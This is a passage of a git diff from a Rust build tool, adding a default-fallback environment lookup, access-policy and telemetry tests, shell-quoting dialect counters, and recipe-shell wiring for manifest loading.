Err(EnvReadError::NotUnicode), + }; + env_var_with_default( + "FOO", + &EnvAccessPolicy::default(), + fallback.map(str::to_owned), + |_| read_result.clone(), + ) +} + +/// A resolution reduced to a comparable outcome. +/// +/// `minijinja::Error` is not comparable, so a failure is reduced to its kind — +/// which is all the `OBL-ENV-DEFAULT` partition distinguishes, and all the +/// assertions below need. +#[derive(Debug, PartialEq)] +enum Resolved { + /// The lookup produced this value. + Value(String), + /// The lookup failed with this kind. + Failure(ErrorKind), +} + +/// Assert that `read` under `fallback` produced `expected`. +fn assert_resolution(read: Read, fallback: Option<&str>, expected: Expected) { + let observed = match resolve(read, fallback) { + Ok(value) => Resolved::Value(value), + Err(error) => Resolved::Failure(error.kind()), + }; + let wanted = match expected { + Expected::Value(want) => Resolved::Value(want.to_owned()), + Expected::Missing => Resolved::Failure(ErrorKind::UndefinedError), + Expected::NotUnicode => Resolved::Failure(ErrorKind::InvalidOperation), + }; + assert_eq!( + observed, wanted, + "reader {read:?} with fallback {fallback:?}" + ); } +/// `OBL-ENV-DEFAULT`: the fallback substitutes for absence, and nothing else. +/// +/// The four reader outcomes are crossed with the fallback's presence. A present +/// value wins over the fallback even when it is the empty string — an empty +/// value is a value — and a non-UTF-8 value fails *even when* a fallback is +/// supplied, because a present-but-undecodable value is a configuration fault +/// rather than an absence. #[rstest] -#[case::missing(EnvReadError::NotPresent, ErrorKind::UndefinedError)] -#[case::non_utf8(EnvReadError::NotUnicode, ErrorKind::InvalidOperation)] -fn failures_map_to_the_documented_jinja_error_kind( - #[case] read_error: EnvReadError, - #[case] expected: ErrorKind, +#[case::present_nonempty_without_fallback(Read::Value("value"), None, Expected::Value("value"))] +#[case::present_nonempty_with_fallback( + Read::Value("value"), + Some("fallback"), + Expected::Value("value") +)] +#[case::present_empty_without_fallback(Read::Value(""), None, Expected::Value(""))] +#[case::present_empty_with_fallback(Read::Value(""), Some("fallback"), Expected::Value(""))] +#[case::absent_without_fallback(Read::Absent, None, Expected::Missing)] +#[case::absent_with_fallback(Read::Absent, Some("fallback"), Expected::Value("fallback"))] +#[case::non_utf8_without_fallback(Read::NotUnicode, None, Expected::NotUnicode)] +#[case::non_utf8_with_fallback(Read::NotUnicode, Some("fallback"), Expected::NotUnicode)] +fn default_substitutes_for_absence_only( + #[case] read: Read, + #[case] fallback: Option<&str>, + #[case] expected: Expected, ) { - let err = env_var_with("FOO", &EnvAccessPolicy::default(), |_| Err(read_error)) - .expect_err("should fail"); - assert_eq!(err.kind(), expected); + assert_resolution(read, fallback, expected); +} + +/// An empty fallback is a value, so it satisfies an absent variable. +#[test] +fn empty_fallback_satisfies_an_absent_variable() { + assert_resolution(Read::Absent, Some(""), Expected::Value("")); } /// The two failures must be distinguishable. @@ -44,14 +123,8 @@ fn failures_map_to_the_documented_jinja_error_kind( /// them onto one kind would misdirect whoever reads the failure. #[test] fn the_two_failure_kinds_are_distinct() { - let missing = env_var_with("FOO", &EnvAccessPolicy::default(), |_| { - Err(EnvReadError::NotPresent) - }) - .expect_err("missing"); - let non_utf8 = env_var_with("FOO", &EnvAccessPolicy::default(), |_| { - Err(EnvReadError::NotUnicode) - }) - .expect_err("non-UTF-8"); + let missing = resolve(Read::Absent, None).expect_err("missing"); + let non_utf8 = resolve(Read::NotUnicode, None).expect_err("non-UTF-8"); assert_ne!(missing.kind(), non_utf8.kind()); } @@ -61,10 +134,15 @@ fn the_two_failure_kinds_are_distinct() { #[test] fn the_requested_name_is_used_but_not_reported() { let mut observed = None; - let err = env_var_with("NETSUKE_SOME_VAR", &EnvAccessPolicy::default(), |key| { - observed = Some(key.to_owned()); - Err(EnvReadError::NotPresent) - }) + let err = env_var_with_default( + "NETSUKE_SOME_VAR", + &EnvAccessPolicy::default(), + None, + |key| { + observed = Some(key.to_owned()); + Err(EnvReadError::NotPresent) + }, + ) .expect_err("should fail"); assert_eq!(observed.as_deref(), Some("NETSUKE_SOME_VAR")); assert!( @@ -72,3 +150,32 @@ fn the_requested_name_is_used_but_not_reported() { "the error must not name the variable, got {err}" ); } + +/// A substituted fallback must not weaken the access policy. +/// +/// The policy is evaluated first, so a blocked name never reaches the reader — +/// supplying a `default` must not turn the block into a successful read. +#[test] +fn a_fallback_does_not_bypass_the_access_policy() { + let policy = EnvAccessPolicy::default().block_var("BLOCKED_VAR"); + let mut reader_was_called = false; + let err = env_var_with_default( + "BLOCKED_VAR", + &policy, + Some(String::from("fallback")), + |_| { + reader_was_called = true; + Ok(String::from("value")) + }, + ) + .expect_err("a blocked name must fail even with a default"); + assert!( + !reader_was_called, + "a blocked lookup must not call the reader" + ); + assert_eq!(err.kind(), ErrorKind::InvalidOperation); + assert!( + !err.to_string().contains("BLOCKED_VAR"), + "the error must not name the variable, got {err}" + ); +} diff --git a/src/manifest/tests/env_telemetry.rs b/src/manifest/tests/env_telemetry.rs index ee4c54485..7d4320bdd 100644 --- a/src/manifest/tests/env_telemetry.rs +++ b/src/manifest/tests/env_telemetry.rs @@ -1,11 +1,11 @@ //! Telemetry coverage for the manifest `env()` lookup boundary. //! -//! These drive `env_var_with` under a local recorder, so they pin that every -//! lookup outcome — including the blocked refusal the access policy produces — -//! reaches the bounded counter exactly once, and that nothing a manifest -//! supplies reaches a label. +//! These drive `env_var_with_default` under a local recorder, so they pin that +//! every lookup outcome — including the blocked refusal the access policy +//! produces — reaches the bounded counter exactly once, and that nothing a +//! manifest supplies reaches a label. -use crate::manifest::{EnvAccessPolicy, EnvReadError, env_reader::env_var_with}; +use crate::manifest::{EnvAccessPolicy, EnvReadError, env_reader::env_var_with_default}; use metrics::SharedString; use metrics_util::{ CompositeKey, MetricKind, @@ -39,8 +39,9 @@ fn recorded( ) -> (Result, Snapshot) { let recorder = DebuggingRecorder::new(); let snapshotter = recorder.snapshotter(); - let result = - metrics::with_local_recorder(&recorder, || env_var_with(SENTINEL, policy, |_| read())); + let result = metrics::with_local_recorder(&recorder, || { + env_var_with_default(SENTINEL, policy, None, |_| read()) + }); (result, snapshotter.snapshot().into_vec()) } @@ -107,6 +108,48 @@ fn each_lookup_outcome_is_counted_once(#[case] blocked: bool, #[case] expected_o ); } +/// A substituted fallback is a *successful* lookup, and nothing more. +/// +/// The default does not paper over the absence into a distinct outcome: the +/// manifest asked for a substitution and got one, so exactly one `success` +/// series appears and the closed vocabulary stays closed. Whether a default was +/// taken is visible through the `fallback_used` tracing event instead, which is +/// what keeps the counter bounded. +#[test] +fn a_substituted_fallback_counts_one_success_series() { + let policy = EnvAccessPolicy::default(); + + let recorder = DebuggingRecorder::new(); + let snapshotter = recorder.snapshotter(); + let value = metrics::with_local_recorder(&recorder, || { + env_var_with_default(SENTINEL, &policy, Some(String::from("fallback")), |_| { + Err(EnvReadError::NotPresent) + }) + .expect("an absent variable with a fallback must resolve") + }); + let snapshot = snapshotter.snapshot().into_vec(); + + assert_eq!(value, "fallback"); + assert_eq!( + lookup_count(&snapshot, "success"), + Some(1), + "a substituted fallback is a successful lookup: {snapshot:?}" + ); + assert_eq!( + snapshot.len(), + 1, + "the substitution must not add a second series: {snapshot:?}" + ); + assert!( + lookup_count(&snapshot, "not_present").is_none(), + "the absence must not also be counted once it is substituted: {snapshot:?}" + ); + assert!( + every_series_is_bounded(&snapshot), + "the retained series must carry only the bounded outcome label: {snapshot:?}" + ); +} + /// A blocked lookup is counted before the reader can disclose a value, and the /// blocked series is the only one the call produces. #[test] @@ -117,7 +160,7 @@ fn blocked_lookup_increments_only_the_blocked_series() { let recorder = DebuggingRecorder::new(); let snapshotter = recorder.snapshotter(); let error = metrics::with_local_recorder(&recorder, || { - env_var_with(SENTINEL, &policy, |_| { + env_var_with_default(SENTINEL, &policy, None, |_| { reader_was_called = true; Ok(String::from(SENTINEL_VALUE)) }) diff --git a/src/manifest/tests/workspace.rs b/src/manifest/tests/workspace.rs index 3d857d262..9d7cc0f64 100644 --- a/src/manifest/tests/workspace.rs +++ b/src/manifest/tests/workspace.rs @@ -249,6 +249,13 @@ fn manifest_query_rejects_restricted_template_helpers( .any(|cause| cause.to_string().contains(helper)), "query should name its rejected helper: {error:?}" ); + ensure!( + error + .chain() + .any(|cause| cause.to_string().contains(QUERY_DISABLED_MARKER)), + "query should report the helper as deliberately disabled, not merely \ + unregistered: {error:?}" + ); ensure!( !error .chain() @@ -372,3 +379,11 @@ fn manifest_query_does_not_emit_expansion_telemetry() -> AnyResult<()> { Ok(()) } const QUERY_SECRET: &str = "help-query-secret"; + +/// The wording `register_manifest_query`'s stubs attach to every rejection. +/// +/// Asserting this, rather than only the helper's name, is what separates "the +/// helper is deliberately disabled here" from "the name was never registered +/// at all". Both failures mention the helper, so a name-only assertion would +/// accept `unknown filter: hash` as evidence that the `hash` stub ran. +const QUERY_DISABLED_MARKER: &str = "is disabled while rendering"; diff --git a/src/ninja_gen_escape.rs b/src/ninja_gen_escape.rs index 9d93ef0ab..50fcffe12 100644 --- a/src/ninja_gen_escape.rs +++ b/src/ninja_gen_escape.rs @@ -40,11 +40,15 @@ impl Display for NinjaValue { } /// Reject text that cannot remain within one Ninja binding. +/// +/// The predicate itself lives in `shell_word` so the Ninja writer and the +/// recipe-text template filters share one definition rather than a copy at +/// each enforcement point; this wrapper only supplies the error type. pub(super) fn validate_ninja_value(text: &str) -> Result<(), NinjaGenError> { - if text.contains(['\n', '\r', '\0']) { - return Err(NinjaGenError::UnsafeNinjaValue); + if crate::shell_word::is_recipe_admissible(text) { + return Ok(()); } - Ok(()) + Err(NinjaGenError::UnsafeNinjaValue) } /// Escape fully assembled shell text for one Ninja binding. diff --git a/src/observability_recorder.rs b/src/observability_recorder.rs index f243dd20f..8564cde47 100644 --- a/src/observability_recorder.rs +++ b/src/observability_recorder.rs @@ -27,10 +27,11 @@ use netsuke::{ NINJA_STATUS_OVERSIZED_LINES_TOTAL, RECIPE_SHELL_RESOLUTIONS_TOTAL, }, stdlib::{ - FILE_READ_FILTER_VALUES, FILE_READ_OUTCOME_VALUES, FILE_READ_TOTAL, - RESOLVE_ERROR_CATEGORY_VALUES, WHICH_CACHE_OUTCOME_VALUES, WHICH_CACHE_TOTAL, - WHICH_CWD_MODE_VALUES, WHICH_RESOLUTION_FAILURE_OUTCOME_VALUES, - WHICH_RESOLUTION_SUCCESS_OUTCOME_VALUES, WHICH_RESOLUTION_TOTAL, + DIALECT_SOURCE_VALUES, DIALECT_VALUES, FILE_READ_FILTER_VALUES, FILE_READ_OUTCOME_VALUES, + FILE_READ_TOTAL, RESOLVE_ERROR_CATEGORY_VALUES, SHELL_QUOTE_DIALECT_TOTAL, + WHICH_CACHE_OUTCOME_VALUES, WHICH_CACHE_TOTAL, WHICH_CWD_MODE_VALUES, + WHICH_RESOLUTION_FAILURE_OUTCOME_VALUES, WHICH_RESOLUTION_SUCCESS_OUTCOME_VALUES, + WHICH_RESOLUTION_TOTAL, }, }; @@ -142,6 +143,7 @@ impl ConfigMetricsRecorder { | WHICH_RESOLUTION_TOTAL | MANIFEST_STRUCTURES_TOTAL | NINJA_STATUS_OVERSIZED_LINES_TOTAL + | SHELL_QUOTE_DIALECT_TOTAL ) } @@ -197,15 +199,11 @@ impl ConfigMetricsRecorder { | OMITTED_FILTERED_ENTRIES_TOTAL | MANIFEST_STRUCTURES_TOTAL | NINJA_STATUS_OVERSIZED_LINES_TOTAL => exact_labels(key, &[]), - FILE_READ_TOTAL => exact_labels( - key, - &[ - ("filter", &FILE_READ_FILTER_VALUES), - ("outcome", &FILE_READ_OUTCOME_VALUES), - ], - ), ENV_LOOKUP_TOTAL => exact_labels(key, &[(OUTCOME_LABEL, &ENV_LOOKUP_OUTCOME_VALUES)]), - WHICH_CACHE_TOTAL | WHICH_RESOLUTION_TOTAL => accepts_which_registration(key), + FILE_READ_TOTAL + | WHICH_CACHE_TOTAL + | WHICH_RESOLUTION_TOTAL + | SHELL_QUOTE_DIALECT_TOTAL => accepts_stdlib_counter_registration(key), _ => false, } } @@ -297,6 +295,33 @@ fn accepts_which_registration(key: &Key) -> bool { } } +/// Admit the standard-library counter series by their registered name. +/// +/// The modules under `src/stdlib/` own these vocabularies; the recorder +/// composes them here rather than redefining them. The `which` series carry +/// more than one label shape and delegate to [`accepts_which_registration`], +/// while a name with no arm here is refused. +fn accepts_stdlib_counter_registration(key: &Key) -> bool { + match key.name() { + FILE_READ_TOTAL => exact_labels( + key, + &[ + ("filter", &FILE_READ_FILTER_VALUES), + ("outcome", &FILE_READ_OUTCOME_VALUES), + ], + ), + WHICH_CACHE_TOTAL | WHICH_RESOLUTION_TOTAL => accepts_which_registration(key), + SHELL_QUOTE_DIALECT_TOTAL => exact_labels( + key, + &[ + ("dialect", &DIALECT_VALUES), + ("source", &DIALECT_SOURCE_VALUES), + ], + ), + _ => false, + } +} + /// Whether `key`'s label set matches any of the `expected` shapes exactly. /// /// One counter may be recorded under more than one bounded label shape: the diff --git a/src/observability_recorder_dialect_tests.rs b/src/observability_recorder_dialect_tests.rs new file mode 100644 index 000000000..38c6e221d --- /dev/null +++ b/src/observability_recorder_dialect_tests.rs @@ -0,0 +1,307 @@ +//! Verify the bounded recipe-text dialect counter series. +//! +//! The series this file guards is the one whose failure mode is invisible: an +//! unadmitted name makes `register_counter` return a `Counter::noop` handle, so +//! the counter records nothing while the build, the lint, and every other test +//! still pass. The first test therefore drives the *real* filter through the +//! recorder and asserts the increments arrive, rather than recording the series +//! by hand — a hand-recorded series would pass even if the filter never called +//! the recorder at all. + +use super::{ConfigMetricsRecorder, SnapshotEntry}; +use anyhow::Result; +use metrics::{counter, gauge, histogram}; +use metrics_util::{MetricKind, debugging::DebugValue}; +use netsuke::{ + recipe_shell::RecipeShell, + stdlib::{DIALECT_SOURCE_VALUES, DIALECT_VALUES, SHELL_QUOTE_DIALECT_TOTAL, StdlibConfig}, +}; +use rstest::rstest; + +/// Render `template` with the recipe shell set to `shell` under a local +/// recorder, and return the snapshot. +/// +/// The `Environment` is registered through the same `register_with_config` +/// entry point a real render uses, so the default dialect under test is the one +/// a manifest would actually receive rather than one this test chose. +/// +/// Two bindings are supplied because the two filters under test take different +/// subject shapes: `shell_quote` encodes one string, while `shell_join` +/// requires a sequence. Binding only the string would leave `shell_join` +/// unrunnable here, and binding only the sequence would leave `shell_quote` +/// failing its own subject check. +/// +/// The three fallible steps are propagated rather than unwrapped here because +/// this helper is not itself a test, and the workspace denies a panic outside +/// test-only code. Each caller unwraps at its own call site, inside a function +/// the lint recognizes. +fn recorded_render(shell: RecipeShell, template: &str) -> Result> { + let recorder = ConfigMetricsRecorder::new(); + let snapshotter = recorder.snapshotter(); + let config = StdlibConfig::from_current_dir()?.with_recipe_shell(shell); + let mut env = minijinja::Environment::new(); + netsuke::stdlib::register_with_config(&mut env, config)?; + + metrics::with_local_recorder(&recorder, || { + env.render_str( + template, + minijinja::context! { value => "a b", items => ["a", "b"] }, + ) + })?; + + Ok(snapshotter.snapshot().into_vec()) +} + +/// Count the retained increments for one `dialect`/`source` pair. +fn retained_count(snapshot: &[SnapshotEntry], dialect: &str, source: &str) -> u64 { + snapshot + .iter() + .find_map(|entry| { + if entry.0.kind() != MetricKind::Counter + || entry.0.key().name() != SHELL_QUOTE_DIALECT_TOTAL + { + return None; + } + let labels: Vec<_> = entry.0.key().labels().collect(); + let matches = labels.len() == 2 + && labels + .iter() + .any(|label| label.key() == "dialect" && label.value() == dialect) + && labels + .iter() + .any(|label| label.key() == "source" && label.value() == source); + match (matches, &entry.3) { + (true, DebugValue::Counter(count)) => Some(*count), + _ => None, + } + }) + .unwrap_or(0) +} + +/// Every retained series carries exactly the two bounded labels. +fn every_series_is_bounded(snapshot: &[SnapshotEntry]) -> bool { + snapshot.iter().all(|entry| { + let labels: Vec<_> = entry.0.key().labels().collect(); + labels.len() == 2 + && labels + .iter() + .all(|label| matches!(label.key(), "dialect" | "source")) + }) +} + +/// The `(dialect, source)` pair one retained series carries, if it has both. +/// +/// Extracted from the caller so the label walk is not nested inside the +/// generator loops that drive it. +fn dialect_pair(entry: &SnapshotEntry) -> Option<(String, String)> { + let labels: Vec<_> = entry.0.key().labels().collect(); + let value_of = |wanted: &str| { + labels + .iter() + .find(|label| label.key() == wanted) + .map(|label| label.value().to_owned()) + }; + Some((value_of("dialect")?, value_of("source")?)) +} + +/// The filter's own resolutions reach the recorder and are retained. +/// +/// This is the constraint-13 test. An unadmitted name produces a noop handle, +/// so both assertions below fail together while nothing else in the suite +/// notices: the render still succeeds and the snapshot is simply empty. +#[rstest] +#[case::omitted_under_posix(RecipeShell::Posix, "sh", "default")] +#[case::omitted_under_power_shell(RecipeShell::PowerShell, "powershell", "default")] +#[case::explicit_sh_under_power_shell(RecipeShell::PowerShell, "sh", "explicit")] +#[case::explicit_power_shell_under_posix(RecipeShell::Posix, "powershell", "explicit")] +fn a_filter_resolution_reaches_the_recorder( + #[case] shell: RecipeShell, + #[case] dialect: &str, + #[case] expected_source: &str, +) { + let template = if expected_source == "default" { + "{{ value | shell_quote }}".to_owned() + } else { + format!("{{{{ value | shell_quote(dialect='{dialect}') }}}}") + }; + + let snapshot = + recorded_render(shell, &template).expect("the filter renders under the test host"); + + assert_eq!( + retained_count(&snapshot, dialect, expected_source), + 1, + "one resolution of {dialect}/{expected_source} should be retained: {snapshot:?}" + ); + assert!( + every_series_is_bounded(&snapshot), + "only bounded dialect series are retained: {snapshot:?}" + ); +} + +/// `shell_join` resolves the dialect at the same boundary and is counted there. +#[test] +fn shell_join_records_at_the_same_boundary() { + let snapshot = recorded_render(RecipeShell::Posix, "{{ items | shell_join }}") + .expect("the filter renders under the test host"); + + assert_eq!( + retained_count(&snapshot, "sh", "default"), + 1, + "shell_join resolves through resolve_dialect too: {snapshot:?}" + ); +} + +/// Every dialect is counted once, and no other series survives. +/// +/// The four combinations are the whole label space, so a series outside them is +/// a defect in the admission sets rather than a missing case. +#[test] +fn recorder_retains_only_the_bounded_dialect_series() { + let recorder = ConfigMetricsRecorder::new(); + let snapshotter = recorder.snapshotter(); + + metrics::with_local_recorder(&recorder, || { + for dialect in DIALECT_VALUES { + for source in DIALECT_SOURCE_VALUES { + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => dialect, "source" => source) + .increment(1); + } + } + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "unbounded", "source" => "default") + .increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh", "source" => "unbounded") + .increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh").increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL).increment(1); + }); + + let snapshot = snapshotter.snapshot().into_vec(); + assert_eq!( + snapshot.len(), + DIALECT_VALUES.len() * DIALECT_SOURCE_VALUES.len(), + "only the bounded dialect/source combinations are retained" + ); + assert!(every_series_is_bounded(&snapshot), "{snapshot:?}"); + + // A count alone would still pass if one combination were admitted twice + // and another refused, so assert each combination is present exactly once. + let admitted: Vec<_> = DIALECT_VALUES + .iter() + .flat_map(|dialect| { + DIALECT_SOURCE_VALUES + .iter() + .map(move |source| (*dialect, *source)) + }) + .filter(|(dialect, source)| retained_count(&snapshot, dialect, source) != 1) + .collect(); + assert!( + admitted.is_empty(), + "each combination should be retained exactly once, but these missed: {admitted:?}" + ); +} + +/// Record one malformed counter series under the dialect name. +/// +/// Each expression below names a series the filter cannot produce: an unknown +/// `dialect`, an unknown `source`, a series missing either required label, and +/// a series carrying an extra one. The caller asserts that none of them +/// survives into the snapshot, which is the point — a rejected registration +/// yields a noop handle rather than an error, so nothing else in the suite +/// would notice an over-permissive admission rule. +fn record_malformed_dialect_series() { + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "unbounded", "source" => "default") + .increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh", "source" => "unbounded").increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh").increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "source" => "default").increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh", "source" => "default", "extra" => "unexpected") + .increment(1); + counter!(SHELL_QUOTE_DIALECT_TOTAL).increment(1); +} + +/// No malformed dialect series is retained, and none of them is merely zero. +/// +/// Every counter here is incremented, so a series that survived would appear +/// in the snapshot with a non-zero count. Asserting on presence rather than on +/// a value is what distinguishes "refused" from "recorded as zero", which is +/// the distinction the admission rule exists to draw. +#[test] +fn recorder_refuses_every_malformed_dialect_series() { + let recorder = ConfigMetricsRecorder::new(); + let snapshotter = recorder.snapshotter(); + + metrics::with_local_recorder(&recorder, record_malformed_dialect_series); + + let snapshot = snapshotter.snapshot().into_vec(); + assert!( + snapshot.is_empty(), + "no malformed dialect series should be retained: {snapshot:?}" + ); +} + +/// A histogram or gauge registered under the counter name is refused. +/// +/// The name alone must not admit a series: the recorder matches on the metric +/// kind as well, so a histogram or gauge that happens to use the dialect name +/// is discarded rather than exported as the wrong instrument type. +#[test] +fn recorder_refuses_other_metric_kinds_under_the_counter_name() { + let recorder = ConfigMetricsRecorder::new(); + let snapshotter = recorder.snapshotter(); + + metrics::with_local_recorder(&recorder, || { + histogram!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh", "source" => "default").record(0.5); + gauge!(SHELL_QUOTE_DIALECT_TOTAL, "dialect" => "sh", "source" => "default").set(1.0); + }); + + let snapshot = snapshotter.snapshot().into_vec(); + assert!( + snapshot.is_empty(), + "a histogram or gauge must not be admitted under a counter name: {snapshot:?}" + ); +} + +/// The admitted vocabulary is exactly the vocabulary the filter emits. +/// +/// The recording path is driven rather than handwritten, so this fails if the +/// filter ever emits a label the admission sets do not carry — which is the +/// silent-noop defect — rather than merely asserting the constants agree with +/// themselves, which they always would. +#[test] +fn every_emitted_dialect_source_pair_is_admitted() { + let mut emitted = std::collections::BTreeSet::new(); + for shell in [RecipeShell::Posix, RecipeShell::PowerShell] { + for template in [ + "{{ value | shell_quote }}", + "{{ value | shell_quote(dialect='sh') }}", + "{{ value | shell_quote(dialect='powershell') }}", + "{{ items | shell_join(dialect='sh') }}", + ] { + let dialect_series = recorded_render(shell, template) + .expect("the filter renders under the test host") + .into_iter() + .filter(|entry| entry.0.key().name() == SHELL_QUOTE_DIALECT_TOTAL) + .filter_map(|entry| dialect_pair(&entry)); + emitted.extend(dialect_series); + } + } + + let admitted: std::collections::BTreeSet<_> = DIALECT_VALUES + .iter() + .flat_map(|dialect| { + DIALECT_SOURCE_VALUES + .iter() + .map(move |source| ((*dialect).to_owned(), (*source).to_owned())) + }) + .collect(); + + assert!( + emitted.is_subset(&admitted), + "every emitted pair must be admitted: emitted={emitted:?} admitted={admitted:?}" + ); + assert!( + !emitted.is_empty(), + "the recording path must emit at least one pair, or the subset check is vacuous" + ); +} diff --git a/src/observability_recorder_tests.rs b/src/observability_recorder_tests.rs index 9486ac3b0..8f2b7f6db 100644 --- a/src/observability_recorder_tests.rs +++ b/src/observability_recorder_tests.rs @@ -41,6 +41,10 @@ mod env_lookup_tests; #[path = "observability_recorder_which_tests.rs"] mod which_tests; +/// Cover the bounded recipe-text dialect counter series separately. +#[path = "observability_recorder_dialect_tests.rs"] +mod dialect_tests; + /// Define the rejected label variants for recipe-shell resolution metrics. const INVALID_RECIPE_SHELL_RESOLUTION_SERIES: [MetricLabels; 3] = [ [ diff --git a/src/recipe_shell.rs b/src/recipe_shell.rs index b73039335..aafd8e43c 100644 --- a/src/recipe_shell.rs +++ b/src/recipe_shell.rs @@ -3,6 +3,13 @@ //! This data-only module is intentionally below both IR lowering and Ninja //! rendering. Lowering needs the selected interpreter to quote placeholders, //! while the Ninja adapter owns the interpreter-specific command transport. +//! +//! It stays data-only: the encoder it maps into lives in the private +//! `shell_word` module, so this module carries no `shell_quote` dependency. +//! That module is deliberately not linked here — it is private, and a public +//! module's docs may not name it with an intra-doc link. + +use crate::shell_word::ShellDialect; /// Select the interpreter that receives completed legacy recipe text. #[derive(Clone, Copy, Debug, Eq, PartialEq)] @@ -17,13 +24,36 @@ pub enum RecipeShell { impl RecipeShell { /// Return the interpreter Netsuke selects when no Windows override exists. - pub(crate) const fn host_default() -> Self { + /// + /// This is the value to pass to the manifest loaders when no override has + /// been resolved. They require a [`RecipeShell`] rather than deriving one + /// so that a caller which *has* resolved `NETSUKE_WINDOWS_SHELL` can make + /// the template filters agree with the interpreter it will execute under; + /// this is the answer for a caller that has not. + /// + /// It reads no environment, so it cannot fail. On Windows it returns + /// [`RecipeShell::PowerShell`]; elsewhere, [`RecipeShell::Posix`]. + #[must_use] + pub const fn host_default() -> Self { if cfg!(windows) { Self::PowerShell } else { Self::Posix } } + + /// Return the dialect whose quoting rules this interpreter follows. + /// + /// `Posix` and `Bash` share `Sh`: they differ in transport, not in lexis. + /// There is deliberately no inverse — this is a three-to-two surjection, + /// so a `ShellDialect::recipe_shell` would have to pick one of + /// `Posix`/`Bash` arbitrarily and its doc comment could not be truthful. + pub(crate) const fn dialect(self) -> ShellDialect { + match self { + Self::Posix | Self::Bash => ShellDialect::Sh, + Self::PowerShell => ShellDialect::PowerShell, + } + } } #[cfg(test)] diff --git a/src/runner/dispatch.rs b/src/runner/dispatch.rs index 601ee4dae..4b63877e5 100644 --- a/src/runner/dispatch.rs +++ b/src/runner/dispatch.rs @@ -20,7 +20,7 @@ pub(super) fn execute(cli: &Cli, command: Commands, context: &ExecutionContext<' Commands::Build(args) => execute_build(cli, &args, context), Commands::Generate { output } => execute_generate(cli, output.as_ref(), context), Commands::Clean => execute_clean(cli, context), - Commands::Graph(args) => graph::handle_graph(cli, &args, context.reporter), + Commands::Graph(args) => graph::handle_graph(cli, &args, context), Commands::Help(args) => execute_help(cli, &args, context.reporter), } } diff --git a/src/runner/generation.rs b/src/runner/generation.rs index be3f86ea8..f0da81217 100644 --- a/src/runner/generation.rs +++ b/src/runner/generation.rs @@ -45,22 +45,35 @@ pub(crate) struct ManifestLoadInputs { pub(super) env_access_policy: EnvAccessPolicy, /// Resource ceilings applied to manifest evaluation. pub(super) budget_limits: manifest::ManifestBudgetLimits, + /// Interpreter whose quoting rules the manifest's `shell_quote` and + /// `shell_join` filters follow. + pub(super) recipe_shell: crate::recipe_shell::RecipeShell, } impl ManifestLoadInputs { /// Resolve the trusted configuration bounding one build manifest load. /// + /// `recipe_shell` is passed in rather than derived here because the runner + /// resolves it once, before dispatch, and the same value then governs + /// lowering, rendering, and template expansion. Deriving it a second time + /// would let a `NETSUKE_WINDOWS_SHELL` change between the two readings + /// produce text quoted for one shell and executed by another. + /// /// # Errors /// /// Returns an error when the merged network policy or the merged resource /// ceilings are invalid. - pub(super) fn from_cli(cli: &Cli) -> Result { + pub(super) fn from_cli( + cli: &Cli, + recipe_shell: crate::recipe_shell::RecipeShell, + ) -> Result { Ok(Self { network_policy: cli .network_policy() .context(localization::message(keys::RUNNER_CONTEXT_NETWORK_POLICY))?, env_access_policy: cli.env_access_policy(), budget_limits: cli.manifest_budget_limits()?, + recipe_shell, }) } } @@ -110,6 +123,7 @@ pub(super) fn load_manifest_with_limits( /// network_policy: NetworkPolicy::default(), /// env_access_policy: EnvAccessPolicy::default(), /// budget_limits: manifest::ManifestBudgetLimits::default(), +/// recipe_shell: crate::recipe_shell::RecipeShell::host_default(), /// }; /// let manifest = load_manifest_for_build_with_limits( /// Utf8Path::new("Netsukefile"), @@ -137,6 +151,7 @@ pub(super) fn load_manifest_for_build_with_limits( inputs.network_policy.clone(), &environment, inputs.budget_limits, + inputs.recipe_shell, on_stage, ) .with_context(|| { diff --git a/src/runner/graph.rs b/src/runner/graph.rs index 0490994eb..7b90f1e29 100644 --- a/src/runner/graph.rs +++ b/src/runner/graph.rs @@ -18,12 +18,12 @@ use crate::graph_view::render_dot::DotRenderer; use crate::graph_view::render_html::HtmlRenderer; use crate::localization::{self, keys}; use crate::result_json; -use crate::status::{LocalizationKey, PipelineStage, StatusReporter, report_pipeline_stage}; +use crate::status::{LocalizationKey, PipelineStage, report_pipeline_stage}; use super::path_helpers::{ ensure_manifest_exists_or_error, resolve_manifest_path, resolve_output_path, }; -use super::{generation, load_manifest_with_stage_reporting, process}; +use super::{ExecutionContext, generation, load_manifest_with_stage_reporting, process}; /// Render the build graph in-process and write the selected artefact. /// @@ -37,8 +37,9 @@ use super::{generation, load_manifest_with_stage_reporting, process}; pub(super) fn handle_graph( cli: &Cli, args: &GraphArgs, - reporter: &dyn StatusReporter, + context: &ExecutionContext<'_>, ) -> Result<()> { + let reporter = context.reporter; info!( target: "netsuke::subcommand", subcommand = "graph", @@ -47,7 +48,8 @@ pub(super) fn handle_graph( ); let manifest_path = resolve_manifest_path(cli)?; ensure_manifest_exists_or_error(cli, reporter, &manifest_path)?; - let inputs = generation::ManifestLoadInputs::from_cli(cli)?; + let inputs = + generation::ManifestLoadInputs::from_cli(cli, context.graph_generation.recipe_shell)?; let manifest = load_manifest_with_stage_reporting(&manifest_path, &inputs, reporter)?; report_pipeline_stage(reporter, PipelineStage::IrGenerationValidation, None); let graph = generation::build_graph(&manifest)?; diff --git a/src/runner/graph_generation.rs b/src/runner/graph_generation.rs index af4f8421e..3e8cc0cb4 100644 --- a/src/runner/graph_generation.rs +++ b/src/runner/graph_generation.rs @@ -48,7 +48,7 @@ pub(super) fn generate_ninja_with_shell( let manifest_path = path_helpers::resolve_manifest_path(cli)?; path_helpers::ensure_manifest_exists_or_error(cli, reporter, &manifest_path)?; - let inputs = generation::ManifestLoadInputs::from_cli(cli)?; + let inputs = generation::ManifestLoadInputs::from_cli(cli, graph_generation.recipe_shell)?; let manifest = load_manifest_with_stage_reporting(&manifest_path, &inputs, reporter)?; record_manifest_structure(&manifest); diff --git a/src/runner/tests/mod.rs b/src/runner/tests/mod.rs index 